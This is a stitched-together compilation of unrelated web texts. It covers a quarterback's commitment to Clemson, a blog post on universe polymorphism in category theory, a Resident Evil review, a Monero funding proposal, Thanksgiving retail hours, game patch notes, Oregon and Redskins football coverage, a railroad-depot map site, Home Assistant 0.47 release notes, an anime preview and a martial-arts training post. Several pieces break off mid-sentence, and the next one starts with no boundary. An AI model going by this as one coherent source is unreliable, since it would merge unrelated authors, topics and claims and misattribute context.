He has elite arm strength. He is extremely accurate with the football. He has elite feet, elite pocket presence and mobility in the pocket (lots of elite everywhere). He already is able to distribute the ball to a variety of targets and goes through progressions. No hitches in his delivery. He plays against good competition in the state of Georgia and hasn’t lost a game in two years. He doesn’t throw many interceptions. He can run it when he needs to and has plus athleticism (he won’t be a dual threat but can run the zone read and spread). He has a very high football IQ at this stage. Great family and grounding. Another really good person who will be an amazing face of the program.
This caught me personally off guard. I expected that he would commit sometime in the Spring. His recruitment has been a two team battle for awhile now. This is a huge loss for the Georgia Bulldogs, you can’t spin it any other way. Lawrence was once a major Georgia lean but Clemson was able to enter the picture as a viable candidate after visits during the summer. Lawrence wanted to end his recruitment before his senior season and commit to a school. The Clemson visits made him pause and pump the brakes. He was attracted to the Clemson culture and coaches, in addition to playing for championships. As the season progressed the emergence of Jacob Eason as the primary QB and his subsequent struggles helped to emphasize the contrasts in the two programs.
It was clear that one offense was putting a quarterback in position to win the Heisman and compete for a playoff spot, while the other was struggling to complete passes and compete for first downs. Kirby Smart hiring Jim Chaney as Offensive Coordinator also helped Clemson. The two systems are very different and Clemson showed how they could adapt their scheme to accentuate Lawrence’s superb skill set. Clemson coaches want a quarterback first and an athlete second. They showed Lawrence through Deshaun Watson that you can play QB at Clemson, not just be a good athlete.
The present and the future have never been brighter for Clemson.Sorry I’ve been kind of quiet recently. There’s been a lot of good stuff happening at IAS this year, but (aside from my being busy helping to make it happen), not so much of it has been easily bloggable. But here’s something that I’ve just learned: do you know the difference between universe polymorphism and typical ambiguity (or even what either of them means)?
In category theory we use “universes” of one sort or another a fair amount. Any time we talk about “small” versus “large” categories, we are using a universe. It might be a Grothendieck universe, or it might be the proper-class universe of sets, but whatever it is, we are employing some device to separate out some of the “things” under consideration which belong to the “universe”, in such a way that we can treat the universe itself as a “thing”.
One of the problems with universes is that sometimes you need to change your universe. For instance, suppose you prove something about small categories. Later on, you find that you need to know that the corresponding theorem for large categories is also true. What do you do?
In practice, one may make some remark about this being obvious, or decline to remark on it at all. But when being absolutely precise, there are several options. One convenient one is to consider the theorem about small categories to have been (implicitly) universally quantified over the universe which defines the notion of “small”. Thus, if we choose a different universe, with respect to which the categories that we’re currently calling “large” are actually “small”, then our original theorem can be applied to them.
In type theory, this is called universe polymorphism: a notion (theorem, definition, proof, etc.) is universe polymorphic if it is universally quantified over one or more universes.
The quantification may be implicit or explicit. A few books and papers in category theory actually make it explicit: rather than “small category” they always write “ U U -small category” (or “ U U -category”) for some universe U U, and so on. I find this to be extremely tedious and to be eschewed at all costs. But is that ever a problem?
Well, when writing a paper where there’s only one universe in play, there’s no problem with just saying “small category” to mean “small category with respect to the universe”. In a sense, the |
make use of the Python Magnum from the very start? Claire using a Machine Pistol that isn’t terrible? There are upgrades galore ranging from Quick Load and Damage upgrades to much more off-the-wall Parts including a Mega Man-esque charged shot, Focus for Scatter weapons and more. The upgrades are all found on various shelves, cabinets and lockboxes sprinkled throughout the game though some will only be unlockable via Raid Mode.
So Many Unlockables
Raid Mode is a joy to play. It is, without a doubt, one of the best components of the game as it stands right now. The episodes themselves are great in their own right, featuring great co-operative play and so forth, but here the mechanics are cranked up to 11. Running and gunning through levels is a delight and, frankly, provides the sort of pure action experience that it seems Capcom wants to shoot for. Those who played Revelations will recall how good the Raid Mode feature was though the sequel shipped without online co-op/multiplayer available. The March 31st update to the game should open up Raid mode considerably along with the inclusion of ResidentEvil.net events starting on April 1st. The volume of weapon upgrades, costumes and extra figurines available through Raid Mode alone are staggering. Replayability from Raid Mode alone should give Revelations 2 some staying power as fans wait for what Capcom has up their sleeve for the next numbered installment of the franchise.
VERDICT
Resident Evil: Revelations 2 is a return to form for a series that has, for all intents and purposes, been lost the last few years. The strong focus on intense action, co-operative gameplay along with an interesting story and character development makes for a truly compelling package. The episodic format was an interesting experiment that worked well for the type of tale being told here. Long-time series veterans Claire Redfield and Barry Burton make their return with strong complements in Moira Burton and Natalia Korda. It cannot be emphasized enough that the mechanics of this game are among the strongest ever in a Resident Evil game. The mixture of superlative gunplay and strong melee mechanics makes for a really great experience all around. The combinations possible between the two player duos only gets better the more time spent upgrading traits and attacks as well. Moira’s dialog is a mixture of stream-of-consciousness swearing and Burton family cheese that is borderline legendary. Mutated enemy types are varied, well-designed and border on the absurd in some instances (in the best way possible). Raid Mode is fun and should only get better now that online play is being included.First and foremost, this is more or less a formal proposal, since there is still about 5K XMR “stuck” in the forum funding system. This is due to another developer not delivering. The other proposal can be seen here:
https://forum.getmonero.org/9/work-in-progress/2355/improved-nvidia-mining-software
It also states:
“FYI - This a non-refundable system. If, for whatever reason, things don't work out, the funds are kept for future developers to receive.”
Therefore, we thought it would be appropriate to direct these funds to tewinget to work on 0MQ. However, I have created this proposal to get some input from the community and also to see if no one (or at least no majority), and in particular the funders of the other proposal, is opposed to it.
WHAT
Predominantly 0MQ, which is going to replace our interprocess RPC with IPC using 0MQ. Basically the first priority is to replace the RPC communication between the daemon and client apps (simplewallet, blockchain_* tools) and also create a stub application (monero-rpc-deprecated) to still be able to serve the calls that used to be in the daemon. Furthermore, all new code will be documented and new tests will be written.
WHO
I am writing this on behalf of Thomas Winget (tewinget), who has been contributing to the Monero codebase since approximately June 2014. His largest contribution is the migration from storing the blockchain in a static, binary format to storing the blockchain using a database API, as well as two BlockchainDB implementations (LMDB and BerkeleyDB). In addition, he documented and cleaned up the source code. Other contributions of his can be found via the network graph on Github or simply looking at his fork.
As a side effect of the work he has done already on Monero, he is rather familiar with most of the codebase. This puts him in a good position to work on 0MQ. Furthermore, he will further cement the knowledge he has of the codebase and gain knowledge in areas he is less familiar with, enabling him to efficiently implement new features in the future and guide others who may have questions regarding a specific module.
WHY
First and foremost, 0MQ is way more efficient than the current RPC. In addition, 0MQ will enable walletnotify / blocknotify functionality. It will also enable a new RPC API implementation and a Bitcoin compatible RPC API implementation. The latter will arguably make it easier for merchants / exchanges / wallet services to implement Monero.
PROPOSAL AND MILESTONES
At first, tewinget is going to spend approximately 10 hours per week working on 0MQ and if possible more. In addition, the hours might increase in the future. His rate currently is 25 XMR, which is approximately 22$, taking the 30 day weighted average dollar price from:
http://moneroprice.i2p.xyz/
NOTE: This proposal was actually written approximately 2-3 weeks ago and tewinget also basically started to work on 0MQ then. However, Fluffypony was travelling and was therefore unfortunately unable to review the proposal. Back then, we were bouncing around 85-90cents. Bear in mind that the developer also takes a huge risk by taking payment in XMR. For all we know, the price would have slided down further, like the last time (i.e. autumn / winter) Bitcoin went up significantly. I genuinely hope the community doesn't have any issues with these, because 0MQ is a critical part of our ecosystem.
tewinget will first start working on 0MQ and provide some more concrete milestones (with the hours it is going to take) further on. In addition, notes will be kept which will show how many hours was spent on everything. For now, payouts will be made monthly corresponding to the hours worked.
You can follow his activity here:
https://github.com/tewinget?tab=activity https://github.com/tewinget/bitmonero/tree/zmq-dev
As you can see he is already actively working on 0MQ
P.S. tewinget also briefly discussed in the dev meeting yesterday how things were going. I hope to push out the logs tonight so you can all read that as well.Black Friday, the day after Thanksgiving, is traditionally the most popular shopping day of the year. Last year, Americans spent a record $52.4 billion on that day.
But a number of major retailers are deciding to open instead on Thanksgiving Day itself, forcing many of their employees to choose between their jobs and their families.
Here’s a short list of some of the retailers who are making this anti-worker move:
– Wal-Mart: This retail behemoth — which is also facing walkouts on Black Friday — will be opening on 8 P.M. Thanksgiving Day. – Toys R’ Us: This retailer will be matching Wal-Mart’s ultra-early opening time. – Sears: Sears is matching Wal-Mart and Toys R’Us by having Thursday “door busters.” – Target: Target will be opening at 9 P.M. on Thanksgiving. – K-Mart: K-Mart has transformed its Black Friday into a Thanksgiving sale that lasts from Thanksgiving through Saturday.
This move by retailers to start their sales on Thanksgiving Day will needlessly be pulling workers away from their families on a day Americans have come to know as a well-deserved day off. But consumers can vote with their dollars and choose to shop only at locations where workers are not being made to work on this holiday.At E3 we talked a little bit about some of the fixes we've been implementing following the beta. This week, we go more in depth on bugs we learned about and the changes we've made. Here's a breakdown of our work behind the scenes.
Re-worked the character skill pane arrangements to allow finer distribution of skills without being arranged in the classic 'tree' style. Passive skills are separated and unlock for investment much earlier.
Skills now get additional bonuses at ranks 5, 10 and 15 to reward increased investments.
Lots of individual skill tweaks and balances.
Torchlight I (Diablo 2 style) function-key skill binds are implemented
Skills can now be 'queued' and will execute when the previous attack or skill completes
Ping meter next to each party portrait so you can identify players with latency issues
Loads of bug fixes
Respec is now available throughout the game, and will allow you to respec any of the last three points spent for gold.
Fullscreen Windowed mode added
Additional connectivity fixes
Enchantment effects are now identifiable separate from standard effects in tooltips
Sorting button for player inventories
Merchant inventories are sorted by default
Map opacity now adjustable
Skill sets now swap with weaponsets
Tentative functionality for'sniffing' cheaters so that you can block them.
Continued work on the finalizing the other acts
Improved some lackluster unique items identified by beta testers.
Increased the amount of health and mana'stealing' weapons.
Improved the rollover information on equipment to provide more and clearer information.
What do you think about these changes? Discuss it in our forums!BURBANK, Calif. -- A recap of what was said Friday morning when Oregon Ducks coach Mark Helfrich, linebacker Rodney Hardrick and running back Royce Freeman met with reporters on the second day of Pac-12 Conference football media days:
-- Sophomore receiver Darren Carrington's status remains in limbo, with Oregon yet to hear back from the NCAA about its appeal to lessen his half-season suspension. Later, in an interview over lunch with reporters, Helfrich expressed frustration with "inequity" in college drug testing, and why punishments for NCAA-mandated tests are heavier than failed tests issued by individual schools. (Here is the background on Carrington's situation.) Most revealing, however, was Helfrich's comment that he was told that not all four teams in the inaugural College Football Playoff were tested for drugs. I'll write more about that in a later story -- UPDATE: Here is that story -- this evening, but it's an eye-opening piece of information that not all teams involved would be tested.
-- Helfrich began his opening remarks by noting he only planned to talk about players currently on the roster, as a way to indicate he'd discuss the upcoming quarterback competition in broad terms. He stuck to his intentions, not discussing Vernon Adams Jr., or why his enrollment at Oregon has been delayed this summer by nearly two months. Instead, he took the opportunity to reiterate what he's said since May, after spring practices concluded with Jeff Lockie completing all nine of his passes in the spring game: Lockie, at the moment, is the undisputed quarterback to beat.
-- That said, Helfrich is not philosophically against playing two quarterbacks to determine a winner, if the competition is close. Helfrich said a quarterback rotation, though not ideal, is ideally the best if it features two players with differing skillsets -- a runner and a passer, say. That would appear to be the case with Adams and Lockie. Adams 1,232 yards and 11 touchdowns in his three-year career at EWU, earning 4.1 yards per carry. Lockie has better footspeed than some give him credit for, UO coaches said during spring practice, but his style is considered more comfortable inside the pocket.
-- USC is picked to win the conference for the first time since 2012 but Ducks and Southern California natives Rodney Hardrick (Colton) and Royce Freeman (Imperial) expressed little animus toward the Trojans. Each knows players on that roster and Hardrick said he grew up wanting to play for them. But with the game in late November, neither player was figuratively circling the date on the calendar at this point.
-- Tight end Pharaoh Brown's status is unclear. The senior is returning from a severe lower-leg injury suffered in November, but has a year to redshirt and Helfrich said no timetable was counting down his return. They want him to move as his own pace, though last week that meant Brown went wakeboarding as "therapy," which he later posted to social media. Helfrich joked that wakeboarding wasn't typically Oregon's preferred method of physical therapy but it worked for Brown in this case.
He also declined to offer many details about receiver Devon Allen, who tore the ACL in his knee Jan. 1 in the Rose Bowl.
"There are a few guys on the unknown timeline," Helfrich said. "I was joking about the video out there of him wakeboarding and that's not normally our prescribed physical therapy protocol but it's encouraging in some ways and we'll see. There's really no other way to put it."
-- Helfrich has long been part of a segment of coaches, such as Arizona State's Todd Graham, that want uniformity in how teams schedule. Helfrich said he didn't care if teams held to a nine-game schedule (which is what the Pac-12 plays, plus a title game) or an eight-game schedule; he just wants it to be equal across the board. Asked what it would take to get that, he replied, "TV contracts and conference realignment."
-- Oregon spent January recruiting a transfer quarterback in Vernon Adams Jr.
But not once has it had to put the hard sell on keeping quarterback Jeff Lockie from transferring, head coach Mark Helfrich said.
"I think that's what makes Jeff such a great guy is he's a team dude," Helfrich said Friday at Pac-12 Conference media days at the Warner Bros. Studios lot. "Not that guys that transfer aren't team guys. There can be some unselfish guys that transfer. But in this day and age as soon as somebody else is named the quarterback they just assume everybody else has to transfer, and that's unfortunate. So it's kind of a feel-good story in that way of a guy that's stuck it out."
Lockie redshirted his freshman season, then served as Marcus Mariota's backup the next two seasons. He has two seasons of eligibility remaining and is competing for the starting job entering this season.
Helfrich said that Lockie is an example of a player who has responded well to Oregon's recruiting philosophy of honesty.
"We tell them in recruiting... next year I'm going to try to outrecruit you," Helfrich said. "We want to look them in the eye and see how they react. Because they're going to be a part of something. They're not guaranteed anything."
Lockie is not the only quarterback in the Pac-12 who has spent his career patiently waiting before expecting an expanded role in 2015. Arizona State's Mike Bercovici entered that uiversity's master's degree program before he will become ASU's full-time starter this fall. In the process, he endured two head coaches and two offenses.
"I think it speaks volumes," ASU coach Todd Graham said. "In fact, I know the NFL people who come in and look at Mike, it means a lot to them. They talk about the character that takes to do that because most people thought he would not stay except him. It is a rarity, I think."
-- Oregon sophomore receiver/cornerback/returner Charles Nelson's role remains "to be determined," Helfrich said.
That doesn't mean it will be narrowed to one side of the ball.
"He'll play in every phase, offense, defense, special teams," Helfrich said. "He's a guy who can handle it. He's mature enough to handle it. He's smart enough that if we need him on one side he can go back there full-time quickly."
Nelson began his freshman season as a terror on special teams coverage, then moved to punt returning, where he scored two touchdowns. As the season progressed he moved into an all-purpose role where he rushed 11 times for 107 yards and caught 23 passes for 327 yards and five touchdowns.
Because Oregon returns a venerable receiving corps -- four returners had at least 600 receiving yards last season -- Nelson was asked to try out at cornerback in spring. He intercepted a pass in the annual spring game and also caught five passes for 144 yards and two touchdowns.
-- Depth is not an issue along Oregon's defensive line entering 2015, despite losing Arik Armstead to the NFL as a junior and Sam Kamp to early retirement.
Yet true freshman Canton Kaumatule, rated among the country's best recruits, will make a play for considerable playing time after a spring where his knowledge of the game "clicked."
"He was a guy that really turned it on towards the end of spring ball which is probably to be expected for a guy that shows up and should still be in high school, kind of muddied through the first 10 practices," Helfrich said. "But the last five it was like, OK, wow. So hopefully that trend has continued during the summer when we kind of unwrap the presents that is fall camp and you see guys for
the first time.
"We're excited about him. He's literally a beast and just learning the system, learning how to play hard. Learning where everything is, and having that ground work laid in the spring I think will pay off."
According to data provided by analyst Phil Steele, Oregon returns 57.5 percent of its tackles from last season, which ranks 86th nationally.
-- Andrew Greif
agreif@oregonian.com
503-221-8100
@andrewgreifRobert Griffin III and Kirk Cousins in December, 2015. (Photo by Jonathan Newton / The Washington Post)
Update Thursday 10 a.m.: Redskins defensive end Ricky Jean Francois went on the radio with Chris Cooley to discuss the former Redskins’ comments about Robert Griffin III. And while Cooley didn’t back off on his comments, the two decided to “close the book on RGIII.”
Robert Griffin III is gone from the Redskins after four wildly up-and-down seasons, but it’s hard to make a clean break from someone who had such an outsized influence on your franchise. And so expect the stories (and headlines) about Griffin’s tenure here to continue for weeks if not longer, as everyone tries to make sense of one of the most dramatic rises and falls this town has seen in decades.
That already started on Monday. Chris Cooley — a former teammate of Griffin’s, who was also among the harshest critics of Griffin’s play in 2014 — looked back on the past four years during several segments on ESPN 980 on Monday afternoon, offering a level of candor we didn’t always hear in real time. Cooley’s thoughts were perhaps most interesting when he talked about his impressions of the Griffin-Kirk Cousins relationship.
“There’s always a working relationship,” Cooley said at the beginning of the discussion with co-host Al Galdi. “There’s a working relationship where guys show up and they work. I would drink a beer with Mike Shanahan today; I did not like him as a head coach. I like him as a dude. That said, I don’t think Kirk Cousins and Robert Griffin are going to be drinking any beers together. One, Robert doesn’t drink, [and] Kirk rarely drinks. But there was never a friendship relationship. From the moment Kirk was drafted, I think Robert had animosity towards him. A lot of people in this area hated that fourth-round pick; I don’t think anyone hated it as much as RGIII hated it.”
[Griffin has a shot at redemption]
Cooley said after Cousins excelled in a preseason game their rookie season, Griffin said it was nice to see “the twos” do well, implying that the remark did not go over well. And he said that while Griffin had many friends on the team, Cousins — who tries to be friends with everyone and is the “nicest dude in the world”– never really got there.
“Robert was never willing to be friends with Kirk Cousins,” Cooley said. “They never hung out together, they never spent time together, their families didn’t hang out together. … It was never a great relationship. I don’t think Robert ever wanted it to be a great relationship. And I think it became really contentious over the last two years, to where Rex Grossman, a guy who I’m close with, said ‘This is weird in here. This is a bad situation in here. These guys don’t like each other.’
“Colt McCoy had to deal with some stuff,” Cooley said. “Two years of who should be the starter, constant competition between a guy who doesn’t want to handle competition. And I think there was respect. I think there was enough working respect. But you have to understand, there’s a group of quarterbacks on every team, usually three, sometimes two. There’s a quarterbacks coach. Seventy-five percent of their professional time is spent in just that meeting room. Really. Quarterbacks spend more time [in meetings] than anybody else. Seventy-five percent of their time is spent not talking to each other, in the same room. That’s got to be so hard. You deal with it, but that’s got to be so weird.”
[Griffin’s career, as told by 15 of his tweets]
McCoy hinted at some of this to our Mike Jones and Liz Clarke, mentioning the “difficult circumstances” last season, and how “it was one of the most unusual rooms I’ve ever been a part of.”
Cooley said the issue wasn’t that Cousins was worried about preexisting loyalties to Griffin, or about losing his starting spot. And he said there was professional respect between the two players. But he said repeatedly on Monday that Cousins and Griffin “never became friends, they never became guys that hung out, that spent time together.”
“There was not a friendship there,” Cooley said. “Now again, I don’t know if it’s even relevant, but I just think it’s so interesting, and I just think it plays into so much of how much Robert disliked anyone ever challenging what he was. And when people started to challenge that Kirk might be the guy, it became even worse. It became even more awkward. Let me stop with that.”
Cooley also spoke explicitly of the longstanding impression that some of Griffin’s teammates did not enjoy playing with him.
“The offensive line did not like Robert Griffin,” Cooley said. “A lot of the receivers did not like Robert Griffin. The offensive line had a problem with Robert, because they were considered for a year-and-a-half or two years a terrible offensive line that couldn’t protect a quarterback. A lot of that isn’t true. A lot of that was Robert. A lot of the sacks were put on Robert. Want to believe it or not, they were, okay? Football-wise, they were: it was Robert.
The Washington Redskins released quarterback Robert Griffin III two days before the start of the 2016 NFL year, clearing $16.155 million off of their salary cap. (Thomas Johnson/The Washington Post)
“Robert never took [responsibility] for that,” Cooley said. “Robert continued to let his offensive line eat the blame. They don’t like it. They hate that, man. That kills them. Perception is the only thing an offensive line has, because 99 percent of people watching football have no idea what an offensive line’s doing.
“Receivers didn’t like playing with Robert, because they didn’t get the ball,” Cooley said. “It was never consistent, other than a couple in 2012; they struggled with that. So they didn’t like Robert. … Robert did have friends, of course he had friends, but there were a lot of guys on this team that said it doesn’t benefit me — as a player, as an individual — and we don’t know if it benefits the team with him under center at this point. That was what really happened in that locker room, in talking to a lot of those guys. That’s not me saying I think they would have perceived it this way. It’s me talking to a lot of players in this locker room, as friends, and understanding why the dislike or why the problem.”
Cooley also mentioned Griffin’s comments to members of the media after Cousins beat the Browns in late 2012, when Griffin was held out because of injury. ” I was not happy with the decision,” Griffin said then, even though the Redskins had won the game. “At the end of the day, that’s the decision they went with. I respect that, but it doesn’t mean I necessarily have to like it.” Griffin also said that it was a “great business trip,” and that the win was “huge” for the Redskins, but Cooley said players looked askance at his comments.
“The press conference was unprecedented, and it showed a little b—- in him,” Cooley said. “Not that he is that as a person, but it showed that characteristic, of ‘I can be a little b—- if I need to be a little b—-. I can make just enough noise if I need to make just enough noise.’ I don’t think anybody liked that. That was actually seen amongst the team as dude, we still won the game. We actually had to win this game to keep our playoff hopes alive. … All of it really starts to tie together towards the end of that season.”
And Cooley, it’s worth pointing out, was not entirely unsympathetic to the situation Griffin faced in Washington — a situation not of his own making.
“I think it was tough for Robert, knowing that there was a guy like Kirk over his shoulder,” Cooley said. “And I think it was tough as well because even in 2012 the players bonded a lot with Kirk. He showed a lot of promise in practice, he showed a lot of promise in the preseason games, and I’m sure there was always that thought that ‘I might not lose this job because he outplays me but if I’m hurt for a month I could potentially lose the job,’ or ‘This guy could step in and play some,’ or ‘The fans might like him more,’ or ‘The team might like him more.’ I think there was always that thought in Robert’s mind.”Need help finding depots? Maybe the maps on this website will help. This site contains maps of the 48 contiguous U.S. states, with over 9,000 markers indicating the locations of historic railroad depots. If you're taking a trip by car check these maps first - you'll be able to determine what depots are located along your route. Put the cursor over a State's name to see how many photos are available. Click on the State's name to view the map for that State with markers showing the locations of the depots. Clicking on a marker displays a thumbnail image with some basic information on that depot. Click on the thumbnail image to view a larger photo of the depot.
The following icons link to other areas of DepotMaps that may be of interest to you.
Depots by Railroad
State Statistics
Recent Photo Contributions
Roger Kujawa - IL
James Burt - IL, IA, KS
John Matrow - KS
Tom Eisenhower - TX
_____________________________________ Major Contributors _____________________________________ John Jones Fred Heggi James Burt Jack Marshall Ron Reiring Jim Spears Deb DeSantis Louis Van Winkle Jimmy Emerson John Montgomery Mark Hinsdale Dale Anderson Stephen Rowe James Lowman John Matrow Roger Daniels Teresa Rogers Earl Leatherberry Robert English Jeff Borne Motivation for these Maps
My depot mapping project began as a way to display the pictures I've taken of passenger train stations. During the early phase of my depot-hunting exploits I simply visited towns to see if I could locate a depot. While I found this an interesting "treasure hunt", it did result in a lot of wasted time and gas!
Once I discovered the national database of railroad depots ( www.rrshs.org ) my hit rate improved dramatically! However, the RRSHS data is organized by State, then the Counties within the State, and then the Cities within the County. It took me significant time to determine which depots existed along various routes I might be traveling - what counties would I be passing through, and where were the depots located within those counties.
To resolve this issue I started mapping the locations of depots I hadn't yet visited. Eventually I switched to an on-line map with depot locations color-coded for visited or not, with or without pictures, etc. These maps allowed me to optimize my routes on picture-taking weekends. And, when traveling out-of-state, I could tell what depots would be close-by during the trip.
What the Maps Offer
The maps include the locations of historic depots that still exist, and the locations where they were originally sited if they have been moved. The maps do not mark the locations of depots that no longer exist. Just keeping track of the depots that still exist is tough since many have been moved multiple times, been split in half, converted to other uses, etc!
The map markers are color coded, and clicking on a marker will show info and/or pictures. The color code used on the maps is as follows:
Green - A depot on (or near) its original site, with a photo available
Red - A depot on (or near) its original site, without a photo
Blue - A relocated depot, with a photo available
Yellow - A relocated depot, without a photo
Purple - The site where a relocated depot was originally situated
One subtle point is that all markers are not visible from the high-level view of a state's map. That is because depots in close proximity have their markers so closely placed that they appear as one. If a marker's shadow is darker than the others, that is an indication that multiple markers are at that location - zoom in for a better look. Zoom in on the map by double-clicking an area near the depots you're interested in. Do this several times until your low-level view allows you to discern the individual markers. If you're just interested in looking at pictures of depots, the states with the most pictures are North Carolina, Michigan, Texas and Illinois. If you position the cursor over the State list on the left side of this screen, the count of photos will display for each State. Select a state from the list, then either click on a green or blue map marker, or click on the "View All Photos" icon at the upper left corner of each state's page. To see the complete list of State stats click here. Note: I don't count a depot as relocated unless it has been moved more than a few blocks - depots moved back from the tracks, or moved across the street, don't count as relocated. I'm sure there are a number of errors since it isn't always obvious from the addresses / descriptions how far a depot has been moved. (It seems that every wooden depot has been moved, while few brick/stone depots have been!) Also note: This website is dedicated to historic depots, not Amshacks. I've included a lot of metro depots that are replicas, and quite a few that are 'not very historic'. But, in general, I've avoided shelters, platforms, and modern Light-Rail, Metra, BART, and Regional Rail stations under 50 years old. No attempt is made to keep up with the constantly changing list of commuter stops/shelters. Geotagging
In order to plot the depots on the maps, I need to determine the latitude/longitude of each depot. Unfortunately, over 10% of the depots listed in the RRSHS database have no address specified, and another 20%-30% have vague addresses. Therefore, in many instances the plots are off-base, especially in large metro areas. If you find instances where depot markers are mislabeled or misplaced please send me a note. To determine the latitude/longitude you can zoom in on the map to locate the depot. Double-click on the depot location to center the map on that spot. You will then see the coordinates in text below the map - you can select the coordinates, copy them, and paste them into an email to me. Recent Photo Updates Depot Stats by State Depots by Railroad Depots on National Register Diamond Depots0.47: Python Scripts, Sesame Smart Lock, Gitter, Onvif cameras June 17, 2017 16 minutes reading time
In this release a ton of new stuff! And who doesn’t like new stuff? This release we’re passing the 700 integrations for Home Assistant. As of today we’re 1369 days old, which means that roughly every two days a new integration gets added!
Python Scripts
The biggest change is a new type of script component: Python scripts. This new component will allow you to write scripts to manipulate Home Assistant: call services, set states and fire events. Each Python script is made available as a service. Head over to the docs to see how to get started.
Updater
The updater has received a new opt-in option to let us know which components you use. This will allow us to focus development efforts on the components that are popular.
updater : include_used_components : true
And as a reminder. We will never share gathered data in a manner that can be used to identify anyone. We do plan on making aggregate data public soon. This will include total number of users and which hardware/software platform people use to run Home Assistant.
Z-Wave is also getting a big update in this release. The confusing entity_ids will be on their way out. There is a zwave blog post that gives more detail, but the upgrade steps will be as follows:
Run Home Assistant as normal and the old IDs will still be used. The new entity IDs will be shown in the more-info dialog for each entity. Check to make sure none of them will have conflicts once the new names are applied. Rename entities using the ui card as described in the blog post to avoid conflicts. Restart Home Assistant to observe the changes. Update all places mentioning IDs (groups, automation, customization, etc.) in configuration.yaml. Add new_entity_ids: true to your zwave config. Restart Home Assistant to run with new IDs. The old entity IDs will be available in the more info dialog to trace down any remaining errors.
Monkey Patching Python 3.6
Some people have noticed that running Home Assistant under Python 3.6 can lead to segfaults. It seems to be related to the earlier segfault issues that we experienced when we released the asyncio-based core. We thought that those issues would have been fixed when Python bug 26617 was resolved. Although we see less reports compared to the old bug, there are still users experiencing them (gdb stacktrace points at PyObject_GC_Del() ).
Since Python 3.6, the Task and Future classes have been moved to C. This gives a nice speed boost but also prevents us from monkey patching the Task class to avoid the segfault. Ben Bangert managed to brew up another monkey patch to stop Python 3.6 from using the C classes, falling back to the Python versions instead. This allows us to apply the original monkey patch again.
Both monkey patches are now active by default starting version 0.47 to avoid our users experiencing segfaults. This comes at a cost of not being able to benefit from all optimizations that were introduced in Python 3.6.
To run without the monkey patch, start Home Assistant with HASS_NO_MONKEY=1 hass. We will further investigate this issue and try to fix it in a future version of Python.
Release 0.47.1 - June 21
New platforms
If you need help…
…don’t hesitate to use our very active forums or join us for a little chat. The release notes have comments enabled but it’s preferred if you use the former communication channels. Thanks.
Reporting Issues
Experiencing issues introduced by this release? Please report them in our issue tracker. Make sure to fill in all fields of the issue template.
Breaking changes
Update opencv config to match other image processors (@Teagan42 - #7864) (image_processing.opencv docs) (breaking change)
image_processing : - platform : opencv name : OpenCV source : - entity_id : camera.front_door classifier : faces : file : /path/to/classifier name : Husband neighbors : 4 min_size : (40, 40) scale : 1.1
lutron : host : IP_ADDRESS username : lutron password : integration
mailgun : domain :!secret mailgun_domain api_key :!secret mailgun_api_key sandbox : false notify : - name : mailgun platform : mailgun recipient :!secret mailgun_recipient
Z-Wave node and scene activated trigger events now use the full entity ID (@armills - #7786) (zwave docs) (breaking change) ```yaml automation: alias: Button 1 trigger: platform: event event_type: zwave.scene_activated event_data: entity_id: living_room_remote_13 scene_id: 1 yaml automation: alias: Event 1 trigger: platform: event event_type: zwave.node_event event_data: entity_id: zwave.living_room_remote_13 basic_level: 1 ```
LIFX: add multiple modes to pulse effect. The lifx_effect_breathe call has been deprecated. Use lifx_effect_pulse with the new mode: breathe attribute instead. (@amelchio - #8016) (light.lifx docs) (breaking change)
call has been deprecated. Use with the new attribute instead. (@amelchio - #8016) (light.lifx docs) (breaking change) Use standard entity_ids for zwave entities. This also introduces a small API breakage, where EVENT_SCENE_ACTIVATED and EVENT_NODE_EVENT will no longer supply an object_id. They will now be tied to the node entity_id. (@armills - #7786) (zwave docs) (light.zwave docs) (breaking change)
and will no longer supply an. They will now be tied to the node entity_id. (@armills - #7786) (zwave docs) (light.zwave docs) (breaking change) Fix attribute entities. Home Assistant will no longer filter out entities that are ‘falsey’. So you might see more entity attributes show up. (@pvizeli - #8066) (breaking change)
All changesBorn from the merger of the once rival events Tokyo International Anime Fair and Anime Contents Expo, AnimeJapan has been the biggest anime industry event for the last few years. A great experience for those who can attend it, but also fairly exciting for fans abroad as it’s always a source of endless anime announcements. Its site is full of teasers and the industry doesn’t do a great job at hiding its secrets, so we’ve compiled a list detailing a bunch of titles that you should expect some news for.
Note: Some of those titles would have been listed in multiple |
and everyone for years, then took it into competition. He was unstoppable. Even though opposing coaches and opponents knew that was his only move, bam, they were down!
THIS was the meaning behind his quote above. THIS is when a kick becomes simply a kick again. If you study Mr Lee's training, you'd find him on many a day throwing some kick or punch 500 reps! Certain days he performed as many as 2,000 lead punches! Years of this meant once he fired a punch or kick it was 100% likely to land, accurate, hard.
So, understanding that the main purpose of massive reps is to create what Mr Lee stated, "a neurologically set pattern" where thought is not required to launch the technique, you'll find it fires at the exact time it's supposed to given the distance, opening, timing, etc. This also frees one up to express themselves rather than "try" to win, defend, or land something.
This is where I started, having some skills and being athletic, in my mind, I made the decision to go all the way with this concept, finally, and never quit till I finished! Out of respect to Mr Lee, failure/quitting was not an option.
Through his dedication to perfecting a strike or technique, Bruce Lee found after many thousands of reps, that once the technique was applied it was virtually unstoppable.
Besides giving you huge self confidence, it also created a foundational movement that one could build upon. I discovered so much more when I embarked on this journey. Here's what I did...
Realizing any punch or kick could be used to perfect, I thought about the most efficient combo ever, the simple 1-2 punch. This combo, lead left jab, straight right (I'm more right handed) although not some pretty flying spin kick, is probably the most effective, economical combo there is. Over many years I have thrown this combo probably over two thousand times. Trained by a pro boxer on how to throw it, I would at least be close to very decent in form.
A couple yrs ago at the age of 53, functioning normal (can run 10mi of mountains, etc), to which I'm always Thankful to God, I decided it to apply this Bruce Lee concept to my life. This was a conscious decision to absolutely do this, and I wasn't going to stop till completed!
Realizing most opponents are not going to be at quite the right distance to just throw this combo, I started with the lead leg (left in my case) slide into the left jab (bridge the gap) then the straight right. I did this in the air hundreds of times first, at a rate of 100 combo's/day or session... around 3 times/wk. I usually broke it into two mini sessions of 50ea. I marked it on the calendar so I could add it up.
This is how I started... it began with my first 100. It took around 7-8 months, so don't get in a hurry. Sure you can do 200-500/day, but here's why I stopped at 100... my goal wasn't just sheer quantity, but also quality! Each rep had to be correct or very close (to better set a neurological pattern). Each rep had to have maximum speed involving quick twitch muscle fiber. Each rep had to be explosive, accurate, balanced, hitting hard enough with either hand to be very damaging. By only doing 100 reps I was still crisp and strong at the end, I've done 200 or more in a day but felt that quality was less, so I stayed at 100.
I am open for discussion to help you on your journey. Feel free to email, comment, and share with martial artists, so far I don't know of anyone who has taken this Bruce Lee quote and completed it, please let me know if you do, thanks!
God Bless,
~Gary
